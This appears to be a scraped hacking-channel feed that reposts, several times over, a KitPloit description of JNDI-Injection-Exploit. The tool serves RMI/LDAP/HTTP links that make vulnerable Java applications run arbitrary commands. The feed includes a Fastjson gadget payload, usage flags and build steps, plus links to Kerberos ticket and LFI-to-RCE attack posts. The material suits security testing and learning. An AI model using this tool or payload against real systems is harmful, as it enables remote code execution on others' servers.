KitPloit - PenTest Tools!
JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

http://1.bp.blogspot.com/-I-g_09Abz74/Yd2ZN4VWn_I/AAAAAAAA8rs/MXYARf2YRQQYSyTVdh-1FG4e7JKi8KF9wCK4BGAYYCw/w640-h194/JNDI-Injection-Exploit_1_1-731466.png JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. DisclaimerAll information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. UsageRun as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]where:

*
-C - command executed in the remote classfile.

(optional , default command is "open /Applications/Calculator.app")

*
-A - the address of your server, maybe an IP address or a domain.

(optional , default address is the first network interface address)
Points for attention:

*
make sure your server's ports (1099, 1389, 8180) are available .

or you can change the default port in the run.ServerStart class line 26~28.

*
your command is passed to Runtime.getRuntime().exec() as parameters,

so you need to ensure your command is workable in method exec().

Command in bash like "bash -c ...." need to add Double quotes. ExamplesLocal demo:

1.
Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"Screenshot: http://1.bp.blogspot.com/-I-g_09Abz74/Yd2ZN4VWn_I/AAAAAAAA8rs/MXYARf2YRQQYSyTVdh-1FG4e7JKi8KF9wCK4BGAYYCw/w640-h194/JNDI-Injection-Exploit_1_1-731466.png 2.
Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

In this example, it looks like this: public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}then when we run this code, the command will be executed ,

and the log will be printed in shell: http://4.bp.blogspot.com/-uidRlq11TIE/Yd2ZOVJ__AI/AAAAAAAA8r0/_PA7SdN1QzgEHKpKcXc7ndFpm48UNKn5gCK4BGAYYCw/w640-h256/JNDI-Injection-Exploit_2_2-732496.png InstallationWe can select one of the two methods to get the jar.

1.
Download the latest jar from Realease.

2.
Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git$ cd JNDI-Injection-Exploit$ mvn clean package -DskipTestsTo do* (Done)Combine this project and JNDI-Injection-Bypass to generate workable links when trustURLCodebase is false in higher versions of JDK by default.
* … ... Download JNDI-Injection-Exploit

___________________________
@hacking_Attack
@Hacking_Video

Golden/Silver Ticket Attack | Kerberos | Active Directory |
https://medium.com/@Medusa0xf/golden-silver-ticket-attack-kerberos-active-directory-8aa3df010398?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

In this blog, we are going to talk about golden and silver ticket attacks.Continue reading on Medium » (https://medium.com/@Medusa0xf/golden-silver-ticket-attack-kerberos-active-directory-8aa3df010398?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

10 ways to get RCE From LFI
https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium » (https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability
http://www.kitploit.com/2022/02/jndi-injection-exploit-tool-which.html

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals (https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing (https://www.kitploit.com/search/label/Testing) your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote (https://www.kitploit.com/search/label/Remote) classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot:

___________________________
@hacking_Attack
@Hacking_Video

Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application (https://www.kitploit.com/search/label/Vulnerable%20Application) which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
} then when we run this code, the command will be executed , and the log will be printed in shell:

___________________________
@hacking_Attack
@Hacking_Video

Installation We can select one of the two methods to get the jar. Download the latest jar from Realease (https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar). Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git $ cd JNDI-Injection-Exploit $ mvn clean package -DskipTests To do (Done)Combine this project and JNDI-Injection-Bypass (https://github.com/welk1n/JNDI-Injection-Bypass) to generate workable links when trustURLCodebase is false in higher versions of JDK by default. … ...

Download JNDI-Injection-Exploit (https://github.com/welk1n/JNDI-Injection-Exploit)

___________________________
@hacking_Attack
@Hacking_Video

What indicates success while Pen Testing
https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/

Hi all, I was curious about this while studying for the OSCP and a potential move into pen testing. Some questions: When you are on an engagement is it possible that you struggle to find any issues with the client setup and if so does this feel bad or you've failed? If so does a more senior pen tester try to help out and run tests that maybe you haven't thought of or do you just write up that there are no major issues? Is this scenario common or is it a case of 'try harder' until you find something? How do you stay motivated when it may be the case there are no ways to get in? Like with OSCP we know there's a way in so it's a case of trying harder so there is a fun aspect to the challenge to find the exploit but in real life that may not be the case. I wondered do you just work through your play book and then stop and say I've tried everything I know of at least? Thanks submitted by /u/Cyb3rC3lt (https://www.reddit.com/user/Cyb3rC3lt)
[link] (https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/)

___________________________
@hacking_Attack
@Hacking_Video

A Weird Price Tampering Vulnerability

Well, Hello Pirates!!!!!!!!!!!!!!!!!!!!!!!!! Long Time No See :DContinue reading on Medium »
Read more...

10 ways to get RCE From LFI

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium »
Read more...

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server. Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot: Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp");} then when we run this code, the command will be executed , and the log will be printed in shell: Installation We can select one of the two methods to get the jar. Download the latest jar from Realease. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git $ cd JNDI-Injection-Exploit $ mvn clean package -DskipTests To do (Done)Combine this project and JNDI-Injection-Bypass to generate workable links when trustURLCodebase is false in higher versions of JDK by default. … ... Download JNDI-Injection-Exploit
Read more...

___________________________
@hacking_Attack
@Hacking_Video